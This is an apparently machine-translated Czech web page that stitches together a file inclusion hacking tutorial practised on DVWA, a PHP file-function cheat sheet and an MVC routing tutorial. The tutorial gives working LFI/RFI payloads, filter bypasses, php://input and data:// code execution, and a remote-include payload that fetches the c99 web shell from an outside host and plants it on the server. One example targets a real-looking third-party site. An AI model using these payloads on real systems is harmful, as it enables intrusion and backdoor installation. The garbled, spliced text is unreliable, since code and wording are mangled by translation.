Fiktivní zobrazení souboru php. Soubor – Přečte obsah souboru a vloží jej do pole. Práce se soubory na serveru

Někdy se vkládání souborů nazývá inclusion, někdy je považováno za součást PHP injection (vkládání kódu). To druhé není úplně pravda, protože zranitelnost vkládání souborů nemusí nutně souviset se spuštěním kódu.

K této chybě zabezpečení může dojít při použití (v PHP) výrazů, jako jsou:

  • vyžadovat_jednou,
  • zahrnout_jednou,
  • zahrnout,
  • vyžadovat

Každý z nich má drobné nuance, ale společné mají to, že zahrnou soubor do programu a spustí jej. Tyto výrazy mohou způsobit problémy, pokud projdou uživatelským vstupem a program jej dostatečně nefiltruje.

Mimochodem, ano, to jsou výrazy, ne funkce. Není nutné psát takto:

Vyžadovat("nějakýsoubor.php");

Výhodnější varianta je:

Vyžadovat "somefile.php";

Ale to je ústup, který nemá nic společného se zranitelností.

Pokud jsou soubory zahrnuty pomocí výrazů require_once, include_once, include, require, pak můžeme říci, že vkládání kódu také probíhá ve stejnou dobu. Je však možné zahrnout soubory bez spuštění kódu na serveru. Webová stránka například mění svůj vzhled na základě uživatelem zvoleného tématu. Název motivů odpovídá názvu souborů HTML, které se čtou na serveru. V této situaci, pokud je požadavek vytvořen tak, že čte soubor, který k tomu není určen (například soubor PHP), pak se místo provádění příkazů zobrazí zdrojový kód PHP.

Uživatel může určit vzdálený nebo místní soubor jako soubor zahrnutí. Na základě toho se rozlišují dvě odpovídající odrůdy:

  • vkládání místního souboru
  • vzdálené vkládání souborů

Nebezpečí vzdáleného zahrnutí je spuštění libovolného kódu na zranitelném serveru. To se obvykle používá u infekcí backdoor.

Nebezpečí lokálního vkládání souborů spočívá v tom, že uživatel může zobrazit obsah souborů, ke kterým nemá práva prohlížet (zdrojové kódy programů, systémové soubory s nastavením a hesly). S místním zahrnutím je také možné spustit kód třetí strany (například pro infekci backdoorem), pokud byl na server dříve nahrán soubor se škodlivým kódem nebo byla použita metoda otravy protokolem nebo některé jiné metody.

Místní zahrnutí souborů není o nic méně nebezpečné než zavedení vzdálených souborů.

Využití místního vkládání souborů

Tuto chybu zabezpečení si můžete vyzkoušet v Damn Vulnerable Web Application (DVWA). Používám Web Security Dojo, kde je již nainstalován DVWA.

Začněme na nízké úrovni (nízké zabezpečení DVWA).

Pojďme na stránku File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Pokud je hodnota podobná názvu souboru (soubor1.php, soubor2.php) předána jako argument proměnné, pak můžeme předpokládat, že se používá include. Vzhledem k tomu, že přípona souboru je .php, je soubor s největší pravděpodobností spuštěn na serveru (tj. je možné vložení kódu) a nikoli pouze zobrazen pro zobrazení.

DVWA má stránku http://localhost/dvwa/about.php, je umístěna o dvě úrovně výše, zkusme se na ni podívat takto: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ o.php

Ano, existuje místní chyba zabezpečení. Při zadávání se nefiltrují přechody do vyšších adresářů (../), seznam souborů k zařazení není vyčerpávající (místo navrhovaného souboru*.php jsme zvolili about.php).

Někdy se používají zahrnuté soubory, ale adresy mohou vypadat například takto: http://localhost/dvwa/vulnerabilities/fi/?page=file1. V tomto případě lze do skriptu přidat příponu a skript vloží soubor, jehož jméno se nakonec vytvoří ve skriptu. Zranitelnost v této podobě je obvykle obtížné/nemožné zneužít.

Lidé často rádi uvádějí něco takového jako příklad využití místního zahrnutí souborů:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Jak vidíme, povedlo se. Ale protože webové prohlížeče ignorují /r/n (znaky nového řádku), musíme otevřít zdrojový kód, aby byly položky čitelné:

Bohužel v souboru /etc/passwd už dlouho nejsou žádná hesla.

Ze serveru můžete stahovat různé konfigurační soubory, SSL certifikáty, v zásadě jakýkoli soubor, který je otevřen pro čtení všem uživatelům nebo pro který má webový server dostatečná práva ke čtení:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Co se týče sdílených hostingů, někdy je možné nahlédnout do cizích složek (opět, pokud jsou špatně nastavena uživatelská práva).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Úkol je komplikován tím, že potřebujeme znát cestu k souboru.

Obsluha vzdáleného vkládání souborů

PHP je velmi flexibilní a pro vývojáře přívětivý programovací jazyk. Příkazy pro vkládání souborů a některé další dokonale rozpoznávají a správně zpracovávají nejen lokální soubory, ale i URL...

Zkusme místo názvu souboru napsat URL webu https://site/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Podívejte se, jak to vypadá zajímavě:

Stalo se následující: interpret PHP obdržel příkaz k zahrnutí souboru/stránky https://site/. Otevřel/stáhl odpovídající adresu a poslal výsledný kód ke spuštění jako PHP program. Vzhledem k tomu, že PHP pouze spustí kód obklopený příslušnými značkami (v tomto případě nebyl žádný kód) a vše ostatní vypíše tak, jak je, celá stránka webu je na výstupu tak, jak je.

Tato chyba zabezpečení je pro nás samozřejmě zajímavá ne proto, že bychom si mohli prohlížet jiné weby prostřednictvím jednoho webu.

  • Generování/nalezení zdrojového kódu backdoor
  • Vytvoříme soubor, který je z pohledu PHP správný pro spuštění na serveru, který uloží zdrojový kód backdoor do souboru PHP
  • Uložte přijatý kód do TEXTového souboru
  • Nahrajte tento textový soubor na kontrolovaný server
  • Naše zadní vrátka ukládáme na zranitelný server pomocí vzdáleného zahrnutí souborů
  • Slovo „text“ jsem zvýraznil z toho důvodu, že na serveru pod naší kontrolou by měl být textový soubor, který by se na našem serveru neměl spouštět. Náš server potřebuje pouze ukázat svůj obsah.

    Chcete-li vytvořit zadní vrátka, můžete použít Weevely, PhpSploit nebo si můžete vzít hotová řešení. Použijme tentokrát již hotovou.

    Proměnné $backdoor přiřadím zdrojový kód backdooru, který si stahuji z Githubu. Poté pomocí funkce file_put_contents uložím výsledný zdrojový kód do souboru c99unlimited.php.

    Kód, který jsem umístil do textového souboru

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "hotovo!";

    Je k dispozici na http://miloserdov.org/sec.txt

    Nyní pomocí vzdáleného zahrnutí nahrajeme zadní vrátka na zranitelný server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Pozor na nápis hotovo!, zobrazuje ho skript, tzn. vše se asi povedlo.

    Vzhledem k tomu, že skript, který obsahuje soubory, je umístěn v adresáři http://localhost/dvwa/vulnerabilities/fi/ a náš nový soubor se zadními vrátky by měl být uložen pod názvem c99unlimited.php, úplná adresa zadních vrátek na zranitelný server by měl být: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Kontrolujeme:

    Skvělé, nyní máme všechny funkce, které by správce webového serveru mohl potřebovat... a ty, kteří mají přístup k jejich serveru.

    Při místním zahrnutí souborů vynechejte filtrování

    Přejdeme na střední úroveň zabezpečení (konfigurovatelná v DVWA Security).

    Pokud se podíváme na zdrojový kód (tlačítko Zobrazit zdroj):

    pak uvidíme, že znaky ../ jsou nyní filtrovány. To nám zabrání přesunout se do adresáře výše, než je ten, ve kterém je spuštěn zranitelný skript.

    Tito. nic nebude fungovat takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Pojďme se zamyslet nad tím, jak v tomto případě funguje filtrování? Řekněme, že slovo „špatné“ je filtrováno a pak řádek jako

    dobrý špatný dobrý

    po filtrování to bude vypadat takto:

    dobře dobře

    A pokud vložíte řádek takto

    špatný špatný xo

    pak po filtrování (to „špatné“ bude odstraněno) se ukáže

    Špatně

    Do ../ vložíme ../ opět doprostřed, ukáže se ..././

    Zkusme tuto adresu http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Fungovalo to!

    Dalším řešením by mohlo být kódování znaků do hexadecimálního kódování, příklad tohoto řádku:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" lze nahradit "%2E%2E%2f".

    Je také praktikováno dvojité hex kódování, ve kterém je „../“ nahrazeno „%252E%252E%252F“

    Místní zahrnutí souborů při přidávání přípony do skriptu

    Pokud kód včetně souborů vypadá takto:

    Tito. Pokud je k jakémukoli uživatelskému vstupu přidána přípona .php nebo jiná přípona, neumožňuje to vytvořit požadavek tak, aby došlo k útoku.

    Existuje několik technik, které jsou navrženy tak, aby zahodily rozšíření, ale lze je považovat za zastaralé, protože fungují na PHP 5.3, a dokonce ani na všech verzích. Správci webových serverů jsou však klinicky konzervativní a raději se ničeho nedotýkají, pokud to funguje. Tito. Existuje šance, že narazíte na server s velmi starou verzí PHP a měli byste si být vědomi těchto technik.

    Použití nulového bajtu %00 (nulový bajt)

    Na konec požadavku je přidán prázdný bajt, aby se rozšíření ignorovalo:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Druhá metoda se nazývá útok prořezávání cesty. Pointa je, že PHP zkracuje cesty delší než 4096 bajtů. V tomto případě PHP otevře soubor správně, i když jsou na konci jeho názvu lomítka a tečky. Pokud předáte jako parametr něco jako?param1=../../../../etc/passwd/./././././ (kde ./ se opakuje mnohotisíckrát), pak koncový soubor spolu s příponou (kterou skript přidal, v důsledku čehož název souboru obsahuje/../../../../etc/passwd/./././././ .php) bude zahozen. A název souboru bude include/../../../../etc/passwd/./././././. A protože PHP není zmateno koncovými lomítky a ./ na konci souboru, jednoduše je ignoruje, celkově PHP otevře soubor podél cesty include/../../../../etc/ passwd.

    Vynechání filtrování pro vzdálené vkládání souborů

    Jak jsme již viděli ve zdrojovém kódu, střední úroveň zabezpečení také filtruje http:// a https://.

    Nyní http://localhost/dvwa/vulnerabilities/fi/?. Použijeme přesně stejnou techniku ​​jako obejít filtrování s místním zahrnutím. Vygenerovaný požadavek:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    A ještě si všimněte, že se nefiltruje, např. ftp, tzn. Tato možnost by fungovala bez jakýchkoli triků:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Získání zdrojového kódu PHP skriptů při zahrnutí souborů z php://filter

    Tento trik nevyžaduje zahrnutí vzdáleného souboru. Použije se druh meta wrapperu php://filter.

    Řekněme, že chceme vidět zdrojový kód souboru file1.php, pak pro naši situaci bude požadavek složen takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Pozor na nesmyslný řetězec písmen a číslic – to je zdrojový kód souboru file1.php v kódování base64. Protože jde o base64, jsou podporovány i binární soubory.

    Pojďme dekódovat soubor:

    Vzdálené spuštění kódu pomocí php://input

    Toto není jako vkládání souborů a opět nevyžaduje nahrávání souborů.

    Na pomoc mi poslouží rozšíření FireFox, můžete jej použít i vy nebo jakýkoli jiný program (například curl), který umí přenášet data metodou POST.

    php://input má přístup k nezpracovanému tělu požadavku HTTP, abyste pochopili, co include("php://input") dělá, otevřete stránku

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    A v těle požadavku odeslat správný PHP kód (například metodou POST). To vám umožní provádět jakoukoli funkci povolenou na vzdáleném serveru!

    Vzdálené spuštění kódu s data://

    PHP navíc podporuje schéma URL data:// Kód můžete umístit přímo do parametru GET! Následující test nevyžaduje žádné speciální nástroje, pouze běžný prohlížeč k provedení útoku.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Některé brány firewall webových aplikací si mohou všimnout podezřelého řetězce v adrese URL a zablokovat škodlivý požadavek. Existuje však způsob, jak zašifrovat řetězec s kódováním alespoň base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Provádějte libovolné příkazy z /proc/self/environ

    /proc/self/environ je úložiště procesních proměnných. Pokud má proces Apache dostatečná práva k přístupu, pak při otevření webové stránky, která obsahuje zahrnutí s podobnou adresou URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    vydá něco jako

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, aplikace/xml;q=0.9, aplikace/xhtml+xml, obrázek/png, obrázek/jpeg, obrázek/gif, obrázek/x-xbitmap , */*;q=0,1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 verze/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=.index.php %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [e-mail chráněný] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Věnujte pozornost HTTP_USER_AGENT. Místo toho můžete nahradit správný PHP kód, který bude spuštěn na vzdáleném serveru.

    Leptání a vkládání protokolů při místním zahrnutí souborů

    Bohužel tato metoda již nefunguje na nejnovějších verzích Apache.

    Jeho podstata spočívá v tom, že kód útočníka je vložen do protokolů webového serveru. To lze provést nahrazením User-Agent , nebo dokonce jednoduchým předáním parametru GET.

    Statická injekce vzdáleného souboru

    Příklad statického:

    Statické začlenění můžete použít ve velmi exotických situacích. Pro vložení škodlivého kódu je nutné provést útok typu man-in-the-middle mezi dvěma servery: jeden z nich je hostitelem webové aplikace využívající zahrnutí a druhý je hostitelem souboru použitého k zahrnutí.

    PHP file_exists("test.txt")//Existuje soubor? filesize("test.txt");//Zjistit velikost souboru //Je vráceno časové razítko: fileatime("test.txt");//Datum posledního přístupu k souboru //date("d M Y" , $atime); filemtime("test.txt");//Datum úpravy souboru //date("d M Y", $mtime); filectime("test.txt");//Datum vytvoření souboru (Windows) //date("d M Y", $ctime); Soubory: provozní režimy PHP resource fopen (řetězec název_souboru, režim řetězce) // prostředek - vrací ukazatel na soubor v případě úspěchu nebo FALSE v případě chyby Popis provozního režimur r+ w w+ A a+ b
    otevřít soubor jen pro čtení;
    otevřít soubor pro čtení a zápis;
    otevřít soubor pouze pro zápis. Pokud existuje, bude aktuální obsah souboru zničen. Aktuální pozice je nastavena na začátek;
    otevřete soubor pro čtení a zápis. Pokud existuje, bude aktuální obsah souboru zničen. Aktuální pozice je nastavena na začátek;
    otevřete soubor pro zápis. Aktuální pozice je nastavena na konec souboru;
    otevřete soubor pro čtení a zápis. Aktuální pozice je nastavena na konec souboru;
    zpracovat binární soubor. Tento příznak je vyžadován při práci s binárními soubory v systému Windows.
    Otevírání a zavírání souborů v PHP PHP $fi = fopen("test.html", "w+") or die("Error"); //Příklady $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Zavřít fclose($fi) Čtení souborů v PHP PHP //Čtení souboru fread(int fi, délka int) $str = fread($fi, 5); // Přečte prvních 5 znaků echo $str; // protože se kurzor posunul $str = fread($fi, 12); // Přečte dalších 12 znaků echo $str; fgets(int fi[, délka int]) // Přečtení řádku ze souboru fgetss(int fi, délka int [, povolený řetězec]) // Přečtení řádku ze souboru a vyřazení značek HTML // povolený řetězec - značky, které musí být ponecháno fgetc(int fi) //Čte znak ze souboru

    Zpočátku se zápis provede na začátku souboru přepsáním existujících dat, pokud existují. Pokud tedy potřebujete něco zapsat na konec souboru, musíte nastavit vhodný režim čtení, například a+ .

    Manipulace s kurzorem v souborech PHP PHP int fseek(int fi, int offset [, int odkud]) //Nastavení kurzoru // int fi - ukazatel na soubor //offset - počet znaků, které se mají přesunout. //odkud: //SEEK_SET - pohyb začíná od začátku souboru; //SEEK_CUR - pohyb začíná z aktuální pozice; //SEEK_END - pohyb začíná od konce souboru. fseek($fi, -10, SEEK_END); //Přečtení posledních 10 znaků $s = fread($fi, 10); $pos = ftell($fi); // Zjištění aktuální pozice rewind($f) // reset kurzoru bool feof($f) // konec souboru Přímá práce se soubory (daty) v PHP soubor PHP pole (string filename) // Získat obsah souboru ve formě pole // Další možnost pro přímou práci s daty file_get_contents(řetězec název_souboru) //Čtení (celý soubor dostaneme na jeden řádek) //Zápis do souboru (původně přepsaný) file_put_contents(řetězec název_souboru , smíšená data[, příznak int]); //FILE_APPEND // Zápis na konec souboru: file_put_contents("test.txt", "data", FILE_APPEND); //Pokud napíšete pole, $array = array("I", "live"); file_put_contents("test.txt",$array); //pak dostaneme "Ilive" Správa souborů v php PHP copy(string source, string destination); // Kopírování souboru rename(str oldname, str newname); // Přejmenujte soubor unlink(string filename); // Smazání souboru Nahrávání souborů na PHP server // Nastavení PHP.ini file_uploads (on|off) // povolení nebo zakázání nahrávání souborů upload_tmp_dir // dočasná složka pro nahrané soubory. ve výchozím nastavení dočasná složka upload_max_filesize (výchozí = 2 Mb) // max. velikost nahraného souboru post_max_size // celková velikost odeslaného formuláře (musí být větší než upload_max_filesize) //Jednoduché nahrání HTML Pracujeme se soubory na PHP serveru //Příjem dat $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["soubor uživatele"]["jméno"]; //Přesuňte soubor move_uploaded_file($tmp, název); move_uploaded_file($tmp, "nahrát/".jméno); // přesměrování souboru do složky pro nahrávání // vzhledem k aktuálnímu souboru // Co je v poli $_FILES $_FILES["userfile"]["name"] // název souboru, například test.html $_FILES[ "userfile"][" tmp_name"] // název dočasného souboru (cesta) $_FILES["userfile"]["size"] // velikost souboru $_FILES["userfile"]["type"] // typ souboru $ _FILES["userfile"] ["error"] // 0 - žádné chyby, číslo - ano Mnoho lidí začíná psát projekt, aby pracovalo s jedním úkolem, aniž by naznačovalo, že může přerůst v systém správy pro více uživatelů, například , obsah nebo nedej bože produkci. A všechno se zdá skvělé a cool, všechno funguje, dokud nezačnete chápat, že napsaný kód se skládá výhradně z berliček a pevného kódu. Kód je smíchán s rozložením, dotazy a berličkami, někdy dokonce nečitelný. Vyvstává naléhavý problém: při přidávání nových funkcí se musíte s tímto kódem velmi dlouho vrtat a pamatovat si „co tam bylo napsáno? a proklínat se v minulosti.

    Možná jste dokonce slyšeli o designových vzorech a dokonce jste listovali v těchto úžasných knihách:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektově orientované konstrukční techniky. Designové vzory";
    • M. Fowler "Architecture of Enterprise Software Applications."
    A mnozí, neohrožení obrovskými manuály a dokumentací, se pokusili studovat kterýkoli z moderních rámců a tváří v tvář složitosti porozumění (kvůli přítomnosti mnoha architektonických konceptů chytře propojených) odložili studium a použití moderních nástrojů v přístřešek."

    Tento článek bude užitečný především pro začátečníky. V každém případě doufám, že si za pár hodin budete moci udělat představu o implementaci vzoru MVC, který je základem všech moderních webových frameworků, a také získáte „potravu“ pro další úvahy o tom, „jak na to Udělej to." Na konci článku je výběr užitečných odkazů, které vám také pomohou pochopit, z čeho se skládají webové rámce (kromě MVC) a jak fungují.

    Zkušení PHP programátoři v tomto článku pravděpodobně nenajdou nic nového pro sebe, ale jejich komentáře a komentáře k hlavnímu textu by byly velmi užitečné! Protože Bez teorie je praxe nemožná a bez praxe je teorie k ničemu, pak bude nejprve trochu teorie a pak přejdeme k praxi. Pokud jste již obeznámeni s konceptem MVC, můžete přeskočit teoretickou část a přejít rovnou k praxi.

    1. Teorie Vzor MVC popisuje jednoduchý způsob strukturování aplikace, jejímž účelem je oddělit obchodní logiku od uživatelského rozhraní. Díky tomu je aplikace jednodušší škálovat, testovat, udržovat a samozřejmě implementovat.

    Podívejme se na koncepční diagram vzoru MVC (podle mého názoru je to nejúspěšnější diagram, který jsem viděl):

    V architektuře MVC model poskytuje data a pravidla obchodní logiky, pohled je zodpovědný za uživatelské rozhraní a řadič zajišťuje interakci mezi modelem a pohledem.

    Typický tok aplikace MVC lze popsat následovně:

  • Když uživatel navštíví webový zdroj, inicializační skript vytvoří instanci aplikace a spustí ji ke spuštění.
    Tím se zobrazí pohled řekněme na hlavní stránku webu.
  • Aplikace obdrží požadavek od uživatele a určí požadovaný ovladač a akci. V případě hlavní stránky se provede výchozí akce ( index).
  • Aplikace vytvoří instanci ovladače a spustí metodu akce,
    který například obsahuje modelová volání, která čtou informace z databáze.
  • Poté akce vytvoří pohled s daty získanými z modelu a zobrazí výsledek uživateli.
  • Model – obsahuje obchodní logiku aplikace a zahrnuje metody pro načítání (mohou to být metody ORM), zpracování (například ověřovací pravidla) a poskytování specifických dat, což je často velmi tlusté, což je zcela normální.
    Model by neměl přímo interagovat s uživatelem. Všechny proměnné související s požadavkem uživatele musí být zpracovány v regulátoru.
    Model by neměl generovat HTML nebo jiný zobrazovaný kód, který se může měnit v závislosti na potřebách uživatele. Takový kód by měl být zpracován v zobrazeních.
    Stejný model, například: model autentizace uživatele lze použít v uživatelské i administrativní části aplikace. V tomto případě můžete obecný kód přesunout do samostatné třídy a dědit z ní a definovat metody specifické pro podaplikaci v jejích potomcích.

    Pohled – slouží k určení externího zobrazení dat přijatých z regulátoru a modelu.
    Pohledy obsahují značky HTML a malé vložky kódu PHP pro procházení, formátování a zobrazování dat.
    Neměl by přímo přistupovat k databázi. To je to, co by modely měly dělat.
    Neměl by pracovat s daty získanými z požadavku uživatele. Tento úkol musí provést regulátor.
    Může přímo přistupovat k vlastnostem a metodám regulátoru nebo modelů, aby získal data připravená k výstupu.
    Pohledy se obvykle dělí na společnou šablonu obsahující označení společné pro všechny stránky (například záhlaví a zápatí) a části šablony, které se používají k zobrazení výstupu dat z modelu nebo zobrazení formulářů pro zadávání dat.

    Řadič je lepidlo, které spojuje modely, pohledy a další komponenty do fungující aplikace. Správce je odpovědný za zpracování požadavků uživatelů. Řadič by neměl obsahovat SQL dotazy. Je lepší je nechat v modelech. Řadič by neměl obsahovat HTML nebo jiné značky. Vyplatí se to přiblížit.
    V dobře navržené aplikaci MVC jsou řadiče obvykle velmi tenké a obsahují pouze několik desítek řádků kódu. Totéž nelze říci o Stupid Fat Controllers (SFC) v CMS Joomla. Logika ovladače je zcela typická a většina z ní je přenesena do základních tříd.
    Modely jsou naopak velmi tlusté a obsahují většinu kódu souvisejícího se zpracováním dat, protože datová struktura a obchodní logika v ní obsažené jsou obvykle zcela specifické pro konkrétní aplikaci.

    1.1. Front Controller a Page ControllerVe většině případů k interakci uživatele s webovou aplikací dochází kliknutím na odkazy. Podívejte se nyní na adresní řádek vašeho prohlížeče – tento text jste obdrželi z tohoto odkazu. Jiné odkazy, jako jsou odkazy na pravé straně této stránky, vám poskytnou jiný obsah. Odkaz tedy představuje konkrétní příkaz do webové aplikace.

    Doufám, že jste si již všimli, že různé weby mohou mít zcela odlišné formáty pro konstrukci adresního řádku. Každý formát může zobrazit architekturu webové aplikace. I když tomu tak není vždy, ve většině případů jde o jasný fakt.

    Zvažme dvě možnosti pro adresní řádek, které zobrazují nějaký text a uživatelský profil.

    První možnost:

  • www.example.com/clanek.php?id=3
  • www.example.com/user.php?id=4
  • Zde je každý skript zodpovědný za provedení konkrétního příkazu.

    Druhá možnost:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • A zde všechna volání probíhají v jednom skriptu index.php.

    Vícedotykový přístup můžete vidět na fórech phpBB. Fórum se prohlíží pomocí skriptu viewforum.php, téma se prohlíží přes viewtopic.php atd. Druhý přístup, přístupný přes jediný fyzický skriptový soubor, lze vidět v mém oblíbeném CMS MODX, kde všechna volání procházejí přes index.php.

    Tyto dva přístupy jsou zcela odlišné. První je typický pro vzor Page Controller a druhý přístup je implementován vzorem Front Controller. Řadič stránky je vhodný pro weby s poměrně jednoduchou logikou. Řadič požadavků zase konsoliduje všechny činnosti zpracování požadavků na jednom místě, což mu poskytuje další možnosti, které vám mohou umožnit implementovat složitější úkoly, než které obvykle řeší řadič stránek. Nebudu zabíhat do detailů implementace page controlleru, ale pouze řeknu, že v praktické části bude vyvíjen request controller (něco podobného).

    1.2. Směrování URL Směrování URL vám umožňuje nakonfigurovat vaši aplikaci tak, aby přijímala požadavky z adres URL, které neodpovídají skutečným souborům aplikace, a aby používala CNC, která jsou sémanticky významná pro uživatele a preferovaná pro optimalizaci pro vyhledávače.

    Například pro běžnou stránku zobrazující kontaktní formulář může adresa URL vypadat takto:
    http://www.example.com/contacts.php?action=feedback

    Přibližný kód zpracování v tomto případě:
    switch ($_GET ["action" ]) ( case "about" : required_once ("about.php" ); // konec stránky "O nás" ; case "contacts" : required_once ("contacts.php" ); // stránka "Kontakty" konec ; velká a malá písmena "zpětná vazba" : require_once ("feedback.php" ); // zalomení stránky "Zpětná vazba" ; výchozí : require_once ("page404.php" ); // stránka "404" konec ; )
    Myslím, že to už dělal skoro každý.

    Pomocí stroje pro směrování adres URL můžete nakonfigurovat aplikaci tak, aby přijímala požadavky, jako je tato, aby zobrazovala stejné informace:
    http://www.example.com/contacts/feedback

    Zde kontakty představují ovladač a zpětná vazba je metoda ovladače kontaktů, která zobrazuje formulář zpětné vazby atd. K této problematice se vrátíme v praktické části.

    Rovněž stojí za to vědět, že mnoho směrovačů webových frameworků umožňuje vytvářet vlastní trasy URL (specifikujte, co každá část adresy URL znamená) a pravidla pro jejich zpracování.
    Nyní máme dostatečné teoretické znalosti, abychom mohli přejít do praxe.

    2. Cvičení Nejprve vytvořte následující strukturu souborů a složek:


    Při pohledu do budoucna řeknu, že základní třídy Model, View a Controller budou uloženy ve složce jádra.
    Jejich děti budou uloženy v adresářích controllerů, modelů a pohledů. Vstupním bodem do aplikace je soubor index.php. Soubor bootstrap.php zahájí načítání aplikace, připojení všech potřebných modulů atp.

    Půjdeme postupně; Otevřeme soubor index.php a naplníme jej následujícím kódem:
    ini_set("display_errors" , 1); require_once "application/bootstrap.php" ;
    Tady by neměly být žádné otázky.

    Dále okamžitě přejdeme k souboru bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Trasa::start(); //spusťte router
    První tři řádky budou obsahovat aktuálně neexistující soubory jádra. Poslední řádky obsahují soubor s třídou routeru a spouštějí jej ke spuštění voláním metody statického startu.

    2.1. Implementace směrovače URL Pro tuto chvíli odbočme od implementace vzoru MVC a zaměřme se na směrování. Prvním krokem, který musíme udělat, je napsat následující kód do .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Tento kód přesměruje veškeré zpracování stránky na index.php, což je to, co potřebujeme. Pamatujete si, že jsme v prvním díle mluvili o Front Controller?!

    Směrování umístíme do samostatného souboru route.php v adresáři core. V tomto souboru popíšeme třídu Route, která bude spouštět metody kontroleru, které zase vygenerují zobrazení stránky.

    Obsah souboru route.php

    class Route ( statická funkce start () ( // ovladač a výchozí akce $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // získat název ovladače if (!empty ($routes )) ( $controller_name = $routes ; ) // získat název akce if (!empty ($routes )) ( $action_name = $routes ; ) // přidat předpony $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // připojte soubor s třídou modelu (nemusí existovat soubor modelu) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // připojení souboru s třídou ovladače $soubor_řadiče = strtolower ($název_řadiče).php" ; $cesta k ovladači = "aplikace/řadiče/" .$soubor_řadiče ; if (soubor_existuje($cesta_řadiče )) (zahrnout "aplikace/řadiče/" .$soubor_řadiče ; ) else ( /* zde by bylo správné vyvolat výjimku, ale pro zjednodušení se okamžitě přesměrujeme na stránku 404 */ Route::ErrorPage404(); ) // vytvořte řadič $controller = new $controller_name ; $akce = $jméno_akce ; if (method_exists($controller , $action )) ( // volání akce ovladače $controller ->$action (); ) else ( // zde by bylo také moudřejší vyvolat výjimku Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Location:" .$host ."404" ); ) )


    Podotýkám, že třída implementuje velmi zjednodušenou logiku (i přes objemný kód) a může mít dokonce bezpečnostní problémy. Bylo to provedeno záměrně, protože... napsání plnohodnotné třídy směrování si zaslouží minimálně samostatný článek. Podívejme se na hlavní body...

    Globální prvek pole $_SERVER["REQUEST_URI"] obsahuje úplnou adresu, na kterou uživatel kontaktoval.
    Například: example.ru/contacts/feedback

    Pomocí funkce explodovat Adresa je rozdělena na komponenty. V důsledku toho dostaneme název ovladače, pro uvedený příklad je to controller kontakty a název akce, v našem případě - zpětná vazba.

    Dále se připojí soubor modelu (model může chybět) a soubor kontroleru, pokud existuje, a nakonec se vytvoří instance kontroleru a zavolá se akce, znovu, pokud byla popsána ve třídě kontroleru.

    Když tedy přejdete například na adresu:
    example.com/portfolio
    nebo
    example.com/portfolio/index
    Router provede následující akce:

  • bude obsahovat soubor model_portfolio.php ze složky models, obsahující třídu Model_Portfolio;
  • bude obsahovat soubor controller_portfolio.php ze složky controllers obsahující třídu Controller_Portfolio;
  • vytvoří instanci třídy Controller_Portfolio a zavolá výchozí akci, action_index, popsanou v ní.
  • Pokud se uživatel pokusí získat přístup k adrese neexistujícího ovladače, například:
    example.com/ufo
    poté bude přesměrován na stránku „404“:
    example.com/404
